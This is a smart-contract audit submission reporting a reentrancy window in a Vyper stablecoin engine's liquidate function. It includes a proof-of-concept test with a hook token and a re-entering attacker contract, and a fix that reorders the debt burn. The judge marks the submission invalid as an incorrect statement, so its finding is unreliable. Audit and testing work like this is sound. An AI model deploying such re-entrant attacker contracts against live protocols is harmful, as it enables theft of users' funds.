Algo Ssstablecoinsss

AI First Flight #2
Beginner FriendlyDeFi
EXP
View results
Submission Details
Impact: low
Likelihood: low
Invalid

# `liquidate` sends collateral before burning debt and no function is `@nonreentrant`, creating a reentrancy window (defense-in-depth)

liquidate sends collateral before burning debt and no function is @nonreentrant, creating a reentrancy window (defense-in-depth)

Severity: Low · Impact: Low · Likelihood: Low

Description

  • liquidate should follow checks-effects-interactions: reduce the victim's debt (effect) before paying out collateral (interaction). Instead it calls _redeem_collateral — which performs an external transfer of collateral to the liquidator — before _burn_dsc reduces the victim's debt. No engine function is marked @nonreentrant, and Vyper 0.4.0 applies no default lock.

  • A liquidator using a collateral token with a transfer hook (ERC777-style) can therefore re-enter liquidate while the victim still shows the full, un-burned debt, so the starting_user_health_factor < MIN gate and the ending > starting improvement check are both evaluated against stale state.

self._redeem_collateral(
@> collateral, token_amount_from_debt_covered + bonus_collateral, user, msg.sender,
) # external transfer to liquidator FIRST (re-entry point)
@> self._burn_dsc(debt_to_cover, user, msg.sender) # debt reduced only AFTER
ending_user_health_factor: uint256 = self._health_factor(user)
assert ending_user_health_factor > starting_user_health_factor, "DSCEngine__HealthFactorNotImproved"

Risk

Likelihood:

  • Requires a collateral token with a transfer callback — not the case for standard WETH/WBTC, but reachable under the protocol's "any basket of assets" fork claim.

Impact:

  • The reentrancy does not currently yield a profit: total coverage is capped at the victim's actual debt by the _burn_dsc underflow, so a re-entering liquidator seizes no more collateral than a single legitimate liquidation (verified in the PoC). It remains a latent safety issue that would become exploitable under small future changes to the accounting or bonus logic.

Proof of Concept

Save the block below as tests/poc_m2.py inside the cloned repo and run mox test tests/poc_m2.py. Both the hook collateral token and the re-entering liquidator are compiled inline via boa.loads. The measured seizure equals a fair single liquidation (≈6.11 tokens for $100 of debt at $18, 10% bonus), confirming the window exists but is not profitable today.

import boa
from eth_utils import to_wei
from src import dsc_engine, decentralized_stable_coin
from src.mocks import mock_token, MockV3Aggregator
# Collateral token with an ERC777-style transfer hook, compiled inline.
HOOK_TOKEN_SRC = """
# pragma version 0.4.0
from ethereum.ercs import IERC20
implements: IERC20
balanceOf: public(HashMap[address, uint256])
allowance: public(HashMap[address, HashMap[address, uint256]])
totalSupply: public(uint256)
hook: public(address)
@external
def set_hook(_h: address):
self.hook = _h
@external
def transferFrom(_f: address, _t: address, _v: uint256) -> bool:
self.allowance[_f][msg.sender] -= _v
self.balanceOf[_f] -= _v
self.balanceOf[_t] += _v
return True
@external
def transfer(_to: address, _v: uint256) -> bool:
self.balanceOf[msg.sender] -= _v
self.balanceOf[_to] += _v
if self.hook != empty(address) and _to == self.hook:
ok: bool = raw_call(self.hook, method_id("on_tokens_received()"),
max_outsize=0, revert_on_failure=False)
return True
@external
def approve(_s: address, _v: uint256) -> bool:
self.allowance[msg.sender][_s] = _v
return True
@external
@view
def decimals() -> uint8:
return 18
@external
def mint_amount(_v: uint256):
self.balanceOf[msg.sender] += _v
self.totalSupply += _v
"""
# Liquidator that re-enters liquidate from the collateral transfer hook.
ATTACKER_SRC = """
# pragma version 0.4.0
interface IEngine:
def liquidate(collateral: address, user: address, debt_to_cover: uint256): nonpayable
engine: public(address)
collateral: public(address)
victim: public(address)
debt_per_call: public(uint256)
reenters_left: public(uint256)
@deploy
def __init__(_engine: address, _collateral: address, _victim: address):
self.engine = _engine
self.collateral = _collateral
self.victim = _victim
@external
def attack(_debt_per_call: uint256, _reenters: uint256):
self.debt_per_call = _debt_per_call
self.reenters_left = _reenters
extcall IEngine(self.engine).liquidate(self.collateral, self.victim, self.debt_per_call)
@external
def on_tokens_received():
if self.reenters_left > 0:
self.reenters_left -= 1
extcall IEngine(self.engine).liquidate(self.collateral, self.victim, self.debt_per_call)
"""
def test_reentrancy_window_is_capped_by_burn_accounting():
dsc = decentralized_stable_coin.deploy()
hook = boa.loads(HOOK_TOKEN_SRC)
other = mock_token.deploy()
hook_price = MockV3Aggregator.deploy(8, 2_000 * 10**8) # $2,000
eth_usd = MockV3Aggregator.deploy(8, 2_000 * 10**8)
engine = dsc_engine.deploy(
[hook.address, other.address], [hook_price.address, eth_usd.address], dsc
)
dsc.set_minter(engine.address, True)
dsc.transfer_ownership(engine.address)
# Victim deposits 10 hook-tokens ($20k) and mints 100 DSC (very healthy).
victim = boa.env.generate_address("victim")
with boa.env.prank(victim):
hook.mint_amount(to_wei(10, "ether"))
hook.approve(engine.address, to_wei(10, "ether"))
engine.deposit_collateral_and_mint_dsc(
hook.address, to_wei(10, "ether"), to_wei(100, "ether")
)
# Price drops to $18: collateral $180 vs $100 debt -> health factor < 1.
hook_price.updateAnswer(18 * 10**8)
assert engine.health_factor(victim) < to_wei(1, "ether")
# Attacker re-enters liquidate from the transfer hook.
attacker = boa.loads(ATTACKER_SRC, engine.address, hook.address, victim)
hook.set_hook(attacker.address)
# Fund the attacker with 100 DSC (a funder mints and transfers it).
funder = boa.env.generate_address("funder")
with boa.env.prank(funder):
other.mint_amount(to_wei(100, "ether"))
other.approve(engine.address, to_wei(100, "ether"))
engine.deposit_collateral_and_mint_dsc(
other.address, to_wei(100, "ether"), to_wei(100, "ether")
)
dsc.transfer(attacker.address, to_wei(100, "ether"))
with boa.env.prank(attacker.address):
dsc.approve(engine.address, to_wei(100, "ether"))
before = engine.get_collateral_balance_of_user(victim, hook.address)
# Cover $50 per call, re-enter 3x (would be $200 > the $100 debt if uncapped).
attacker.attack(to_wei(50, "ether"), 3)
seized = before - engine.get_collateral_balance_of_user(victim, hook.address)
# The reentrancy window exists, but total coverage is capped at the victim's real
# debt by the _burn_dsc underflow: the seizure equals a fair single $100
# liquidation (~5.55 tokens + 10% bonus ~= 6.11 tokens), i.e. NO extra drain.
assert seized <= to_wei(6.2, "ether")

Recommended Mitigation

Follow checks-effects-interactions (burn the debt before transferring collateral) and add an explicit reentrancy guard to the state-changing entry points.

+ # mark deposit/redeem/mint/burn/liquidate as @nonreentrant
- self._redeem_collateral(collateral, token_amount_from_debt_covered + bonus_collateral, user, msg.sender)
- self._burn_dsc(debt_to_cover, user, msg.sender)
+ self._burn_dsc(debt_to_cover, user, msg.sender)
+ self._redeem_collateral(collateral, token_amount_from_debt_covered + bonus_collateral, user, msg.sender)
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!